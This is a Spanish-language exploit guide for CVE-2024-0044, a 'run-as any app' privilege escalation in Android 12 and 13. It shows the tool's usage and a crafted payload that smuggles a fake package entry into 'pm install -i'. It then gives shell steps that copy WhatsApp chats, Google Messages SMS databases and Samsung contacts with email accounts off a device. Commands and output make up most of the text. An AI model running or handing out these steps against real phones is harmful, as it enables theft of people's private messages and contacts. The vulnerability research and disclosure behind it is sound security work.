
CVE-2024-0044: una vulnerabilidad de alta severidad de "ejecutar como cualquier aplicación" que afecta a Android versiones 12 y 13
CVE-2024-0044, identificada en la función createSessionInternal del archivo PackageInstallerService.java, es una vulnerabilidad de alta gravedad que afecta a Android versiones 12 y 13. Esta vulnerabilidad permite a un atacante realizar un ataque "run-as any app", lo que conduce a una escalada local de privilegios sin requerir interacción del usuario. El problema surge debido a una validación de entrada incorrecta dentro de la función createSessionInternal. Un atacante puede explotar esto manipulando el proceso de creación de sesión, obteniendo potencialmente acceso no autorizado a datos sensibles y realizando acciones no autorizadas en el dispositivo afectado.
El exploit fue descubierto por Meta security
La prueba de concepto fue resumida y compartida por Tiny hack
Los detalles sobre el parche de seguridad se pueden encontrar en el boletín de seguridad de Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P se usa para especificar el nombre del paquete objetivo con el que deseas ejecutar
-A para especificar el archivo APK a enviar al dispositivo
Ejecuta la herramienta
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Se generará un archivo payload.txt como este
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success después del último comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea un directorio temporal: mkdir /data/local/tmp/wa/
Crea un marcador de posición para un archivo tar: touch /data/local/tmp/wa/wa.tar
Establece permisos amplios: chmod -R 0777 /data/local/tmp/wa/ para asegurar que cualquier usuario pueda leer, escribir y ejecutar dentro de este directorio.
Cambia el contexto de usuario: run-as victim para obtener los mismos permisos que el usuario 'victim'.
Archiva los datos de la aplicación objetivo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un tarball del directorio de datos de WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puedes extraer los datos usando 7z o cualquier otra herramienta
Puedes usar Whatsapp chat exporter para convertirlo a HTML
Esto te permite obtener datos de WhatsApp sin acceso root en tu dispositivo
Solo cambia el nombre del paquete de la siguiente manera
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Sigue las instrucciones anteriores y después de extraer el archivo wa.tar, descomprímelo y abre las conversaciones en com.google.android.apps.messaging/databases/bugle_db usando sqlitebrowser o cualquier otra herramienta
Probado en un dispositivo Samsung. Para otros dispositivos, verifica el nombre del paquete del proveedor de contactos.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Sigue las instrucciones anteriores y después de extraer el archivo wa.tar, descomprímelo y abre los contactos en com.samsung.android.providers.contacts/databases/contacts2.db usando sqlitebrowser o cualquier otra herramienta. El archivo db contiene toda la información de las cuentas de correo electrónico del usuario junto con la lista de contactos.